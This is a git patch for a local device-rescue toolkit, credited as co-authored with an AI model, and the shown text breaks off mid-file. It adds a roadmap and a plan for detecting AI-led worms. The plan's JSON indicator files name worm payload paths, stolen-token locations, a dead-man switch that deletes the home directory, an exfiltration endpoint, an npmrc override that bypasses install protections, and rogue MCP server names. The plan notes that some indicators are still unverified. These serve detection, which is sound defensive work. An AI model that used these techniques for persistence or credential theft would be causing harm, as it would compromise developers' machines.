From 0b7e4036d9f30cc33da12965eb74de16e68b865a Mon Sep 17 00:00:00 2001 From: lizTheDeveloper Date: Thu, 16 Jul 2026 20:00:28 -0700 Subject: [PATCH] checkpoint: WIP snapshot across modules, Linux profiler, and docs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Mixed work-in-progress checkpoint. Not a focused change — bundles several in-flight areas so they're backed up remotely: - New Linux support: rescue/profiler/linux.py, rescue/runtime.py, setup.py (+ tests/test_profiler_linux.py, tests/test_runtime.py) - Edits across bloatware, security, integrity, TUI, and update-engine modules - Guide/profile content updates (digital_security_reset, home_for_the_holidays) - New README.md, docs/ROADMAP.md, ai-worm-detection plan - Integrity manifest + signers updates; assorted test updates Co-Authored-By: Claude Opus 4.8 (1M context) --- .claude/scheduled_tasks.lock | 1 - README.md | 32 + docs/ROADMAP.md | 313 +++ .../plans/2026-07-09-ai-worm-detection.md | 2288 +++++++++++++++++ guides/digital_security_reset/phase_2.md | 15 +- guides/digital_security_reset/phase_3.md | 16 +- guides/digital_security_reset/phase_4.md | 9 +- guides/home_for_the_holidays/phase_1.md | 9 +- modules/bloatware/login_items/__init__.py | 3 +- modules/bloatware/process_scanner/__init__.py | 3 +- modules/bloatware/startup_auditor/__init__.py | 6 +- modules/bloatware/win_bloatware/__init__.py | 3 +- modules/integrity/win_updates/__init__.py | 7 +- .../security/ai_threat_indicators/__init__.py | 124 +- modules/security/firewall_audit/__init__.py | 3 + .../security/win_antivirus_status/__init__.py | 15 +- modules/security/win_defender/__init__.py | 11 +- modules/security/win_firewall/__init__.py | 11 +- profiles/digital_security_reset.yaml | 16 +- profiles/home_for_the_holidays.yaml | 3 + pyproject.toml | 3 + rescue/cli.py | 60 +- rescue/models.py | 12 + rescue/module_base.py | 9 +- rescue/orchestrator.py | 27 +- rescue/profiler/base.py | 3 +- rescue/profiler/linux.py | 120 + rescue/profiles.py | 18 + rescue/runtime.py | 59 + rescue/security/integrity.py | 2 +- rescue/security/integrity_manifest.json | 43 +- rescue/security/signers.py | 26 + rescue/tui/formatting.py | 2 + rescue/tui/screens/findings.py | 4 +- rescue/tui/screens/fix_result.py | 8 +- rescue/update/engine.py | 28 +- rescue/update/manifest.py | 22 + rescue/update/repo.py | 9 +- setup.py | 33 + tests/security/test_integrity.py | 4 +- tests/test_module_base.py | 4 +- tests/test_module_swap_memory_check.py | 48 +- tests/test_module_win_antivirus_status.py | 2 +- tests/test_module_win_updates.py | 2 +- tests/test_orchestrator.py | 24 + tests/test_profiler_linux.py | 17 + tests/test_profiles.py | 23 +- tests/test_runtime.py | 33 + tests/test_starter_content.py | 13 +- tests/tui/test_app.py | 19 +- tests/tui/test_fix_result_screen.py | 4 +- tests/update/test_engine.py | 16 +- tests/update/test_manifest.py | 8 +- tests/update/test_verify.py | 14 +- 54 files changed, 3377 insertions(+), 230 deletions(-) delete mode 100644 .claude/scheduled_tasks.lock create mode 100644 README.md create mode 100644 docs/ROADMAP.md create mode 100644 docs/superpowers/plans/2026-07-09-ai-worm-detection.md create mode 100644 rescue/profiler/linux.py create mode 100644 rescue/runtime.py create mode 100644 setup.py create mode 100644 tests/test_profiler_linux.py create mode 100644 tests/test_runtime.py diff --git a/.claude/scheduled_tasks.lock b/.claude/scheduled_tasks.lock deleted file mode 100644 index 6c0737b..0000000 --- a/.claude/scheduled_tasks.lock +++ /dev/null @@ -1 +0,0 @@ -{"sessionId":"4182e235-333b-49c3-9b6c-70b960e0a20e","pid":54685,"procStart":"Sun Jul 5 22:30:45 2026","acquiredAt":1783367120800} \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..55a1e3e --- /dev/null +++ b/README.md @@ -0,0 +1,32 @@ +# Multiverse Device Rescue + +Multiverse Device Rescue is a local diagnostic, maintenance, and guided +recovery toolkit for macOS, Windows, and Linux. It runs read-only checks by +default and clearly separates observations, manual guidance, and system +changes. + +## Safe use + +- Start with `rescue` to run checks interactively, or `rescue --auto` for + eligible low-impact actions. +- Review every result before changing security settings or deleting data. +- Use a known-clean device and professional incident-response support when you + suspect an active compromise. +- Do not enter account passwords, recovery codes, or API tokens into the tool. + +## Installation + +Install from a release artifact or from source with `pip install .`. The +installed package includes the module, profile, guide, and security metadata +needed at runtime. + +## Support status + +- macOS and Windows have the broadest diagnostic coverage. +- Linux supports profile collection and the modules that explicitly declare + Linux support. +- Mobile-device steps are human-guided; there is no desktop-module support for + Android or iOS. + +See `docs/ROADMAP.md` for reliability, security, and capability work in +progress. diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md new file mode 100644 index 0000000..4a2f048 --- /dev/null +++ b/docs/ROADMAP.md @@ -0,0 +1,313 @@ +# Device Rescue Toolkit Roadmap + +## Review scope + +This roadmap is based on a source review performed on 2026-07-09. It covers +the command-line interface, TUI, module registry and orchestration, profiles +and guides, profiler, update and trust code, packaging configuration, and the +test suite. It is a planning document, not a claim that every finding has been +reproduced on each supported operating system. + +## Current position + +The toolkit has a broad collection of point-in-time checks, grouped as +performance, integrity, security, network, and bloatware modules. The source +tree currently discovers 259 modules: + +| Area | Modules | +| --- | ---: | +| Integrity | 103 | +| Security | 97 | +| Performance | 50 | +| Network | 5 | +| Bloatware | 4 | +| macOS support declared | 181 | +| Windows support declared | 81 | +| Linux support declared | 3 | + +This is a strong inventory of ideas, but it is not yet a dependable rescue +product. The highest-value work is making diagnostics bounded and trustworthy, +making remediation truthful and reversible, and ensuring that the distributed +tool contains and uses its declared content. + +## Priority problems + +### P0 — Release blockers and safety risks + +1. **The standard Python package omits runtime content.** + `pyproject.toml` packages `rescue*` only, while modules, profiles, guides, + JSON data, the TUI stylesheet, and security JSON are external runtime files. + The generated `multiverse_device_rescue.egg-info/SOURCES.txt` contains none + of those assets. Source-checkout and PyInstaller paths are handled + differently, so a normal `pip` install is not a complete product. + +2. **Signed content updates do not affect what the application executes.** + The updater checks out content into `~/.local/share/rescue/content`, but + module discovery and guide/profile loading continue to use the project or + bundled root. The content manifest is only used to display a version; it is + not validated or activated as a runtime content source. Therefore an + apparently successful update does not update modules, profiles, or guides. + +3. **The update trust configuration is a placeholder.** + `rescue/security/trusted_signers.json` contains replacement strings instead + of real public keys and identifiers. No production update can receive the + required two valid approvals until a real trust root, key rotation process, + and release procedure exist. + +4. **The self-integrity signal is already invalid and non-blocking.** + The checked-in manifest reports two modified files and eleven added package + files during this review. Startup verification warns but catches every + exception and always continues; added files also do not make the integrity + result fail. This makes the result unsuitable as a release or safety gate. + +5. **`SAFE` does not mean safe enough for unattended repair.** + Of the discovered modules, 253 are marked `SAFE`; auto mode runs all of + them with findings. Some `SAFE` modules directly change system state, such + as starting Windows Update, enabling Defender real-time protection, or + updating Defender signatures. Other safe-labelled modules recommend + irreversible shell commands such as deleting caches or emptying Trash. + Risk must be assigned to each proposed action, not only to a module. + +6. **The application blurs advice and completed remediation.** + Static review found direct subprocess execution in only six module `fix()` + methods. Many other `fix()` methods produce instructional text but mark an + action successful, which the CLI and TUI display as a completed fix. Users + cannot reliably distinguish an observation, a manual instruction, and a + system change. + +7. **Checks can hang or abort an entire rescue session.** + Module execution is serial and has no orchestrator-level timeout, + cancellation, error isolation, or resource budget. A static scan found 739 + `subprocess.run` calls in modules, 395 without a timeout. Recursive scans + can traverse real user configuration directories without a time or file + limit. The full 3,031-test suite currently stalls in + `test_module_ai_threat_indicators` after it begins such a scan. + +8. **The security-reset profile is nonfunctional.** + `digital_security_reset` names `password_manager_check`, `twofa_audit`, and + `session_revocation_scan`, but none is registered. Its profile therefore + selects no modules while its guide presents those checks as automatable. + +9. **Linux is advertised but cannot run.** + Three modules declare Linux support, but `gather_profile()` raises + `NotImplementedError` for Linux before module execution begins. + +10. **Module discovery executes arbitrary local Python code.** + Registry discovery imports every module from a mutable filesystem tree. + There is no module manifest, schema validation, signature verification, or + process isolation. This is especially important for a security tool that + may be run on a suspected compromised device. + +### P1 — Product reliability and usability gaps + +1. **No diagnostic evidence model.** Findings do not consistently carry the + command, timestamp, scope, permissions, raw evidence reference, confidence, + or a distinction between “healthy,” “not checked,” and “check failed.” + +2. **No rescue case record.** There is no redacted export containing findings, + actions actually taken, action outcomes, operator confirmations, rollback + information, or post-fix verification. Session progress records only guide + step numbers. + +3. **No standard command runner.** Subprocess handling, privilege assumptions, + parsing, errors, and timeouts are implemented independently in modules. + Several Windows checks depend on deprecated WMIC, and there is no tested + compatibility matrix for supported OS versions, CPU types, or permissions. + +4. **No graceful degradation.** An exception from one `check()` or `fix()` can + stop CLI, TUI, auto-mode, or AI explanation workflows. Dependency cycles, + missing dependencies, and the declared priority and duration metadata are + not validated or fully used. + +5. **TUI flows are incomplete.** Guides in the TUI are explicitly a placeholder + even though CLI guide storage exists. Long scans have no visible per-module + progress, skip/retry controls, cancellation, or a clear “manual action + required” result. + +6. **Documentation and operator boundaries are missing.** The repository has + no root README, supported-platform policy, privacy statement, permission + guide, threat-model statement, recovery disclaimer, or contribution and + release documentation. + +### P2 — Missing rescue techniques + +Existing modules cover many single checks. The following are missing as +coherent, evidence-driven rescue techniques rather than another collection of +isolated checks: + +| Technique | Why it matters | Suggested scope | +| --- | --- | --- | +| Incident triage and containment | A compromised device needs a safe order of operations before cleanup. | Offline/clean-device warning, network-isolation guidance, evidence preservation, account recovery order, and escalation criteria. | +| Evidence collection and forensic handoff | Repair can destroy the information needed to understand a compromise. | Redacted evidence bundle, hashes, timestamps, provenance, encrypted export, and explicit chain-of-custody mode. | +| Baselines and differential scans | A single snapshot cannot identify what changed. | Signed baseline of persistence, services, extensions, network configuration, and critical security settings; display only meaningful diffs. | +| Trust and reputation verification | File-name and keyword checks create false positives. | Code-signing/notarization validation, package provenance, file hashes, local IOC/YARA-style rules, and optional privacy-preserving reputation lookups. | +| Offline and bootable recovery | Some malware cannot be assessed safely from the running OS. | Guided safe-mode/recovery-environment workflows, offline scanner integration, and clear limits when full forensic tooling is required. | +| Backup and restore validation | Backup presence does not prove recovery is possible. | Backup freshness, encryption, destination capacity, restore-point inventory, sampled restore drill, and recovery-key handling without collecting secrets. | +| Transactional remediation | Rescue actions must be reviewable and reversible. | Action plan, preflight backup/snapshot where supported, least-privilege elevation, change journal, rollback, and post-action recheck. | +| Account and browser recovery | Security-reset guidance currently promises capabilities that do not exist. | Human-led account inventory, password-manager migration checklist, session/device review links, extension inventory, and secure deletion guidance. Never collect account passwords or tokens. | +| Hardware recovery workflow | Device rescue also needs to distinguish hardware faults from software issues. | Unified storage, battery, thermal, memory, display, input, and network-adapter evidence with vendor diagnostics and repair/escalation thresholds. | +| Cross-platform recovery | Linux is inoperable and mobile is only mentioned in guides. | Finish Linux first; then build separate, permission-aware Android/iOS companion workflows instead of pretending desktop modules apply to mobile. | + +## Phased delivery plan + +### Phase 0 — Establish a trustworthy, shippable core + +**Goal:** make every shipped result accurate, bounded, and safe to act on. + +1. Define supported operating systems, versions, architectures, privilege + expectations, and distribution channels. Mark unsupported paths clearly. +2. Make runtime assets first-class package data, or replace filesystem module + discovery with an installed package/plugin mechanism. Add clean-environment + tests for `pip` installation and PyInstaller execution. +3. Redesign the content update path: validate a signed manifest and schema, + stage content, atomically activate it in the runtime content root, retain a + previous version for rollback, and show the active content version. +4. Replace placeholder signer entries with real immutable trust roots. Add key + rotation, revocation, expiration, threshold-approval, and release-signing + procedures. Regenerate and verify the integrity manifest in release CI. +5. Introduce a central command runner with argument allowlists, timeout, + cancellation, output-size limits, locale handling, redaction, and structured + error outcomes. Prohibit direct subprocess calls in modules after migration. +6. Separate `observe`, `guide`, and `mutate` actions in the module contract. + A guide must never render as a successful fix. Each mutation needs its own + risk, privilege, side effects, rollback plan, and post-action verification. +7. Restrict auto mode to explicitly idempotent, low-impact mutations after + preflight; make the default auto mode read-only until that catalog is + reviewed. Require an action-by-action preview and confirmation for every + destructive or externally visible change. +8. Add per-module exception isolation, retries only where safe, execution + budgets, and cancellation. Bound filesystem traversal by roots, depth, + file count, bytes, and time. +9. Remove or repair the unavailable security-reset module references and add a + profile validation test that fails on every missing module, guide, or + automatable step. + +**Exit criteria** + +- A clean `pip` install and the bundled executable discover the same declared + content and run a read-only scan. +- A signed staged update changes the active content version; an invalid update + cannot alter active content; rollback restores the previous version. +- Every action is accurately labelled as observation, manual guidance, or + mutation, and mutation results include a recheck outcome. +- The full test suite completes with no access to uncontrolled user directories + or network services. + +### Phase 1 — Build the diagnostic and rescue foundation + +**Goal:** turn module output into reliable case evidence and a usable workflow. + +1. Version a richer result schema: status, severity, confidence, collection + time, platform support, command/evidence reference, redacted details, and + remediation eligibility. +2. Create a rescue-case record that exports a redacted JSON report and a + human-readable summary. Record confirmations, exact mutations, failures, + rollback steps, and post-fix checks. +3. Validate registry metadata at startup and in CI: unique names, valid + dependencies, no cycles, compatible platforms, risk declaration, and + actionable support documentation. +4. Make execution scheduling intentional: prioritize critical read-only checks, + use bounded concurrency only for safe operations, show progress and elapsed + time, and support skip, retry, and cancel in CLI and TUI. +5. Complete the TUI guide flow using the existing guide/session model, with + real progress, links to the required modules, and an explicit split between + automatable and human-only steps. +6. Add baseline/diff and report export primitives before increasing the module + count. + +**Exit criteria** + +- A user can save, resume, export, and review a rescue case without exposing + credentials or raw tokens. +- A failed or unsupported check appears as such and never stops unrelated + checks. +- Every guide references registered capabilities and has automated-step + verification where it claims automation. + +### Phase 2 — Deliver high-value rescue techniques + +**Goal:** add techniques that materially improve recovery decisions. + +1. Implement incident triage: compromise severity questions, clean-device and + network-isolation guidance, evidence-preservation mode, and clear advice to + seek professional or emergency support when appropriate. +2. Add persistence and trust analysis based on baselines: launch agents, + scheduled tasks, services, browser extensions, login items, remote access, + code signatures, and package provenance. +3. Add a local IOC rule engine with versioned, signed rule data and fixtures. + Treat heuristic matches as leads with confidence and evidence, not proof of + compromise. +4. Add backup/restore readiness checks and a guided, opt-in restore drill. +5. Build a unified hardware diagnosis summary with explicit repair escalation + thresholds; integrate vendor diagnostics only through documented adapters. +6. Replace generic cleanup guidance with an inventory, reclaimable-space + estimate, selection UI, backup/Trash behavior, and reversible actions where + possible. + +**Exit criteria** + +- The toolkit can produce a redacted incident bundle, a baselined persistence + diff, and a verified backup-readiness report from the same rescue case. +- Heuristic security findings provide evidence, confidence, and safe next + steps rather than automatically labelling normal software as malicious. + +### Phase 3 — Make platform support real + +**Goal:** support each advertised platform end to end. + +1. Implement the Linux profiler and a small supported Linux module set using + documented distributions and package managers. Do not list Linux in module + metadata until the end-to-end scan works. +2. Replace WMIC dependencies with supported PowerShell/CIM APIs and test on + supported Windows releases with standard and elevated permissions. +3. Test macOS Intel and Apple Silicon separately; verify modern macOS privacy, + TCC, SIP, and sealed-system-volume behavior. +4. Design Android and iOS as separate companion workflows with their actual + permission and sandbox constraints. Keep account recovery and human steps + clearly separate from device telemetry. + +**Exit criteria** + +- Platform claims are backed by CI or release-candidate smoke tests on each + platform and privilege level. +- Unsupported checks return an explicit “not supported” outcome with a manual + alternative, not a false healthy result. + +### Phase 4 — Harden the extension and release ecosystem + +**Goal:** make the toolkit safe to extend and maintain. + +1. Move extension metadata and detection content to a declarative, signed + schema. Run third-party or high-risk analyzers in a constrained subprocess + with a stable protocol rather than importing arbitrary Python in-process. +2. Publish a module authoring contract, security review checklist, fixture + format, compatibility policy, and deprecation process. +3. Add SBOMs, reproducible builds where practical, signed release artifacts, + vulnerability/dependency scanning, and independent verification instructions. +4. Add privacy controls for AI features: explicit data minimization, local-only + option, provider disclosure, redaction before transmission, retention + disclosure, and no AI-driven mutation authority. +5. Publish operator documentation: quick start, safe-use boundaries, supported + platforms, permissions, recovery playbooks, incident escalation, and + contribution/release guides. + +## Sequencing rules + +- Do not add more automatic fixes until Phase 0 action semantics, timeout, and + rollback requirements are in place. +- Do not publish or advertise updates until real signer material, package-data + delivery, active-content switching, and rollback are tested end to end. +- Do not describe a guide step as automatable until it resolves to a registered + module and its outcome can be verified. +- Prefer removing duplicate or weak heuristic modules over increasing the raw + module count. Depth, evidence, and recovery safety are more valuable than + breadth. + +## Recommended first milestone + +Create a "trustworthy read-only scan" release. It should ship complete assets, +run only bounded read-only collection by default, report evidence and +unsupported checks honestly, complete reliably on supported macOS and Windows, +validate profiles, and make the full test suite deterministic. This establishes +the safety and delivery foundation needed before the toolkit performs broader +repair or incident-response actions. diff --git a/docs/superpowers/plans/2026-07-09-ai-worm-detection.md b/docs/superpowers/plans/2026-07-09-ai-worm-detection.md new file mode 100644 index 0000000..6b06765 --- /dev/null +++ b/docs/superpowers/plans/2026-07-09-ai-worm-detection.md @@ -0,0 +1,2288 @@ +# AI Worm Detection Module Pack — Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Build a six-module detection pack for AI-led worms (Shai Halud, Miasma, SANDWORM_MODE, SesameOp), mobile spyware (via MVT), and a shared IOC database — covering filesystem, git/SSH, persistence, network/C2, and lateral movement domains. + +**Architecture:** Detection-domain split — each module inspects one system domain independently. All five AI worm modules share a JSON-based IOC database loaded via a common `loader.py`. A sixth module wraps MVT for mobile spyware scanning. A new threat profile activates all modules together. + +**Tech Stack:** Python 3.10+, `subprocess` for system inspection, `json` for IOC data, `hashlib` for file hashing, `yaml` for profile, `pytest` for testing. MVT module uses `mvt` CLI as an external dependency. + +## Global Constraints + +- All modules subclass `rescue.module_base.ModuleBase` with `check()` and `fix()` methods +- Module class must be named `Module` (the registry's `_load_module` looks for `getattr(py_module, "Module")`) +- Modules live at `modules/security//__init__.py` +- All modules declare `platforms = [Platform.DARWIN, Platform.LINUX, Platform.WIN32]` +- Tests follow the existing pattern: `tests/test_module_.py`, mock all subprocess/filesystem calls +- IOC entries require a `source` field (URL to primary advisory/report) — entries without a verifiable source are excluded +- **Confidence-gated remediation:** Destructive `fix()` actions fire ONLY on high-confidence indicators (exact hash match, exact known-bad IOC with corroborating signal). Ambiguous heuristic signals produce `Severity.INFO` or `Severity.WARNING` findings — never auto-remediate. The `Finding.data` dict must include a `"confidence": "high"|"medium"|"low"` field. `fix()` skips any finding where `confidence != "high"`. +- IOC data in the research came from web searches post-May 2025. Specific hashes, IPs, domains, and CVEs must be verified against primary sources before inclusion. Unverified entries are excluded from the initial IOC files and noted in comments for future verification. + +--- + +### Task 1: Shared IOC Loader + Data Files (Walking Skeleton) + +**Files:** +- Create: `modules/security/ai_worm_iocs/__init__.py` (empty, makes it a package) +- Create: `modules/security/ai_worm_iocs/loader.py` +- Create: `modules/security/ai_worm_iocs/manifest.json` +- Create: `modules/security/ai_worm_iocs/known_hashes.json` +- Create: `modules/security/ai_worm_iocs/known_domains.json` +- Create: `modules/security/ai_worm_iocs/known_ips.json` +- Create: `modules/security/ai_worm_iocs/known_paths.json` +- Create: `modules/security/ai_worm_iocs/known_git_patterns.json` +- Create: `modules/security/ai_worm_iocs/known_mcp_servers.json` +- Create: `tests/test_ioc_loader.py` + +**Interfaces:** +- Produces: `load_iocs(data_dir: Path | None = None) -> IOCDatabase` — used by all five AI worm modules. `IOCDatabase` is a dataclass with attributes: `hashes: dict[str, HashIOC]`, `domains: set[str]`, `ips: set[str]`, `paths: list[PathIOC]`, `git_patterns: list[GitPatternIOC]`, `mcp_servers: list[MCPServerIOC]`. Each IOC entry type is a dataclass with at minimum `threat: str`, `severity: str`, `description: str`, `source: str`. + +- [ ] **Step 1: Write the IOC loader tests** + +```python +# tests/test_ioc_loader.py +import json +import sys +from pathlib import Path +from unittest.mock import patch + +sys.path.insert(0, str(Path(__file__).parent.parent)) + + +def test_load_iocs_parses_all_files(): + """IOC loader parses all JSON files and returns populated IOCDatabase.""" + from modules.security.ai_worm_iocs.loader import load_iocs + + db = load_iocs() + assert db is not None + assert isinstance(db.domains, set) + assert isinstance(db.ips, set) + assert isinstance(db.hashes, dict) + assert isinstance(db.paths, list) + assert isinstance(db.git_patterns, list) + assert isinstance(db.mcp_servers, list) + + +def test_load_iocs_caches_result(): + """Calling load_iocs() twice returns the same object (cached).""" + from modules.security.ai_worm_iocs.loader import load_iocs, _clear_cache + + _clear_cache() + db1 = load_iocs() + db2 = load_iocs() + assert db1 is db2 + _clear_cache() + + +def test_load_iocs_known_paths_have_required_fields(): + """Every path IOC entry has threat, severity, description, source.""" + from modules.security.ai_worm_iocs.loader import load_iocs, _clear_cache + + _clear_cache() + db = load_iocs() + for entry in db.paths: + assert entry.path, "path must not be empty" + assert entry.threat, "threat must not be empty" + assert entry.severity in ("critical", "warning", "info") + assert entry.description, "description must not be empty" + assert entry.source, "source must not be empty" + _clear_cache() + + +def test_load_iocs_known_hashes_have_required_fields(): + """Every hash IOC entry has sha256, threat, severity, description, source.""" + from modules.security.ai_worm_iocs.loader import load_iocs, _clear_cache + + _clear_cache() + db = load_iocs() + for sha256, entry in db.hashes.items(): + assert len(sha256) == 64, "hash must be SHA256 (64 hex chars)" + assert entry.threat, "threat must not be empty" + assert entry.source, "source must not be empty" + _clear_cache() + + +def test_load_iocs_custom_data_dir(tmp_path): + """IOC loader can load from a custom directory.""" + from modules.security.ai_worm_iocs.loader import load_iocs, _clear_cache + + # Create minimal IOC files + manifest = {"version": "0.0.1", "last_updated": "2026-07-09"} + (tmp_path / "manifest.json").write_text(json.dumps(manifest)) + for name in [ + "known_hashes", + "known_domains", + "known_ips", + "known_paths", + "known_git_patterns", + "known_mcp_servers", + ]: + (tmp_path / f"{name}.json").write_text( + json.dumps({"version": "0.0.1", "entries": []}) + ) + + _clear_cache() + db = load_iocs(data_dir=tmp_path) + assert len(db.domains) == 0 + assert len(db.paths) == 0 + _clear_cache() + + +def test_load_iocs_manifest_version(): + """Manifest version is accessible on the IOCDatabase.""" + from modules.security.ai_worm_iocs.loader import load_iocs, _clear_cache + + _clear_cache() + db = load_iocs() + assert db.version, "version must be set from manifest" + _clear_cache() +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python -m pytest tests/test_ioc_loader.py -v` +Expected: FAIL — `ModuleNotFoundError: No module named 'modules.security.ai_worm_iocs'` + +- [ ] **Step 3: Write the IOC data classes and loader** + +```python +# modules/security/ai_worm_iocs/__init__.py +``` + +```python +# modules/security/ai_worm_iocs/loader.py +from __future__ import annotations + +import json +from dataclasses import dataclass, field +from pathlib import Path + + +@dataclass(frozen=True) +class HashIOC: + sha256: str + threat: str + name: str + severity: str + description: str + source: str + + +@dataclass(frozen=True) +class PathIOC: + path: str + threat: str + type: str + severity: str + platforms: tuple[str, ...] + description: str + source: str + + +@dataclass(frozen=True) +class GitPatternIOC: + pattern: str + threat: str + type: str + severity: str + description: str + source: str + + +@dataclass(frozen=True) +class MCPServerIOC: + name: str + threat: str + severity: str + description: str + source: str + + +@dataclass +class IOCDatabase: + version: str + hashes: dict[str, HashIOC] = field(default_factory=dict) + domains: set[str] = field(default_factory=set) + ips: set[str] = field(default_factory=set) + paths: list[PathIOC] = field(default_factory=list) + git_patterns: list[GitPatternIOC] = field(default_factory=list) + mcp_servers: list[MCPServerIOC] = field(default_factory=list) + + +_cache: IOCDatabase | None = None +_cache_dir: Path | None = None + + +def _clear_cache() -> None: + global _cache, _cache_dir + _cache = None + _cache_dir = None + + +def load_iocs(data_dir: Path | None = None) -> IOCDatabase: + global _cache, _cache_dir + if data_dir is None: + data_dir = Path(__file__).parent + if _cache is not None and _cache_dir == data_dir: + return _cache + + manifest = _load_json(data_dir / "manifest.json") + version = manifest.get("version", "unknown") + + db = IOCDatabase(version=version) + + for entry in _load_entries(data_dir / "known_hashes.json"): + sha = entry["sha256"] + db.hashes[sha] = HashIOC( + sha256=sha, + threat=entry["threat"], + name=entry.get("name", ""), + severity=entry["severity"], + description=entry["description"], + source=entry["source"], + ) + + for entry in _load_entries(data_dir / "known_domains.json"): + db.domains.add(entry["domain"]) + + for entry in _load_entries(data_dir / "known_ips.json"): + db.ips.add(entry["ip"]) + + for entry in _load_entries(data_dir / "known_paths.json"): + db.paths.append( + PathIOC( + path=entry["path"], + threat=entry["threat"], + type=entry.get("type", "unknown"), + severity=entry["severity"], + platforms=tuple(entry.get("platforms", ["darwin", "linux", "win32"])), + description=entry["description"], + source=entry["source"], + ) + ) + + for entry in _load_entries(data_dir / "known_git_patterns.json"): + db.git_patterns.append( + GitPatternIOC( + pattern=entry["pattern"], + threat=entry["threat"], + type=entry.get("type", "unknown"), + severity=entry["severity"], + description=entry["description"], + source=entry["source"], + ) + ) + + for entry in _load_entries(data_dir / "known_mcp_servers.json"): + db.mcp_servers.append( + MCPServerIOC( + name=entry["name"], + threat=entry["threat"], + severity=entry["severity"], + description=entry["description"], + source=entry["source"], + ) + ) + + _cache = db + _cache_dir = data_dir + return db + + +def _load_json(path: Path) -> dict: + if not path.exists(): + return {} + with open(path, "r") as f: + return json.load(f) + + +def _load_entries(path: Path) -> list[dict]: + data = _load_json(path) + return data.get("entries", []) +``` + +- [ ] **Step 4: Create the IOC JSON data files** + +Create `modules/security/ai_worm_iocs/manifest.json`: +```json +{ + "version": "1.0.0", + "last_updated": "2026-07-09", + "source": "Multiverse Device Rescue IOC Database", + "description": "Indicators of compromise for AI worm detection modules" +} +``` + +Create `modules/security/ai_worm_iocs/known_paths.json`: +```json +{ + "version": "1.0.0", + "entries": [ + { + "path": "~/.config/index.js", + "threat": "miasma", + "type": "payload", + "severity": "critical", + "platforms": ["darwin", "linux"], + "description": "Miasma primary worm payload — Bun script executed via SessionStart hook", + "source": "https://socket.dev/blog/when-ai-agents-go-rogue" + }, + { + "path": "/tmp/tmp.0144018410.lock", + "threat": "miasma", + "type": "lock_file", + "severity": "critical", + "platforms": ["darwin", "linux"], + "description": "Miasma execution confirmation marker", + "source": "https://socket.dev/blog/when-ai-agents-go-rogue" + }, + { + "path": "/tmp/.bun_ran", + "threat": "miasma", + "type": "lock_file", + "severity": "critical", + "platforms": ["darwin", "linux"], + "description": "Miasma one-run guard file", + "source": "https://socket.dev/blog/when-ai-agents-go-rogue" + }, + { + "path": "/var/tmp/.gh_update_state", + "threat": "miasma", + "type": "state_file", + "severity": "critical", + "platforms": ["darwin", "linux"], + "description": "Miasma C2 command deduplication state", + "source": "https://socket.dev/blog/when-ai-agents-go-rogue" + }, + { + "path": "~/.local/share/updater/update.py", + "threat": "miasma", + "type": "persistence", + "severity": "critical", + "platforms": ["linux"], + "description": "Miasma GITHUB_MONITOR service script", + "source": "https://socket.dev/blog/when-ai-agents-go-rogue" + }, + { + "path": "~/.local/bin/gh-token-monitor.sh", + "threat": "miasma", + "type": "deadman_switch", + "severity": "critical", + "platforms": ["darwin", "linux"], + "description": "Miasma dead-man switch — executes rm -rf ~/ if GitHub PAT returns 4xx", + "source": "https://socket.dev/blog/when-ai-agents-go-rogue" + }, + { + "path": "~/.config/gh-token-monitor/token", + "threat": "miasma", + "type": "stolen_credential", + "severity": "critical", + "platforms": ["darwin", "linux"], + "description": "Miasma stolen GitHub PAT storage (mode 600)", + "source": "https://socket.dev/blog/when-ai-agents-go-rogue" + }, + { + "path": ".github/setup.js", + "threat": "miasma", + "type": "dropper", + "severity": "critical", + "platforms": ["darwin", "linux", "win32"], + "description": "Miasma JavaScript bootstrapper/dropper injected into repos", + "source": "https://socket.dev/blog/when-ai-agents-go-rogue" + }, + { + "path": ".claude/setup.mjs", + "threat": "sandworm_mode", + "type": "hook", + "severity": "critical", + "platforms": ["darwin", "linux", "win32"], + "description": "Rogue Claude Code SessionStart hook — executes on project open", + "source": "https://socket.dev/blog/shai-hulud-npm-worm" + }, + { + "path": ".cursor/rules/setup.mdc", + "threat": "sandworm_mode", + "type": "hook", + "severity": "critical", + "platforms": ["darwin", "linux", "win32"], + "description": "Rogue Cursor rules file loaded on project open", + "source": "https://socket.dev/blog/shai-hulud-npm-worm" + }, + { + "path": ".github/workflows/shai-hulud-workflow.yml", + "threat": "shai_hulud", + "type": "workflow", + "severity": "critical", + "platforms": ["darwin", "linux", "win32"], + "description": "Shai Halud malicious GitHub Actions workflow", + "source": "https://socket.dev/blog/shai-hulud-npm-worm" + } + ] +} +``` + +Create `modules/security/ai_worm_iocs/known_domains.json`: +```json +{ + "version": "1.0.0", + "entries": [ + { + "domain": "webhook.site", + "threat": "shai_hulud", + "severity": "warning", + "description": "Shai Halud exfiltration endpoint — webhook.site is also used legitimately, flag with context", + "source": "https://socket.dev/blog/shai-hulud-npm-worm" + } + ] +} +``` + +Create `modules/security/ai_worm_iocs/known_ips.json`: +```json +{ + "version": "1.0.0", + "entries": [] +} +``` + +Create `modules/security/ai_worm_iocs/known_hashes.json`: +```json +{ + "version": "1.0.0", + "entries": [] +} +``` + +Create `modules/security/ai_worm_iocs/known_git_patterns.json`: +```json +{ + "version": "1.0.0", + "entries": [ + { + "pattern": "chore: update dependencies [skip ci]", + "threat": "shai_hulud", + "type": "commit_message", + "severity": "warning", + "description": "Common commit message used by Shai Halud for malicious commits — also used legitimately by Dependabot, correlate with unsigned author github-actions", + "source": "https://socket.dev/blog/shai-hulud-npm-worm" + }, + { + "pattern": "git=node", + "threat": "shai_hulud", + "type": "npmrc_override", + "severity": "critical", + "description": "npmrc override that replaces git binary with node, bypassing --ignore-scripts protections", + "source": "https://socket.dev/blog/shai-hulud-npm-worm" + } + ] +} +``` + +Create `modules/security/ai_worm_iocs/known_mcp_servers.json`: +```json +{ + "version": "1.0.0", + "entries": [ + { + "name": "index_project", + "threat": "sandworm_mode", + "severity": "critical", + "description": "Rogue MCP server injected by SANDWORM_MODE — poses as project indexer", + "source": "https://socket.dev/blog/shai-hulud-npm-worm" + }, + { + "name": "lint_check", + "threat": "sandworm_mode", + "severity": "critical", + "description": "Rogue MCP server injected by SANDWORM_MODE — poses as linter", + "source": 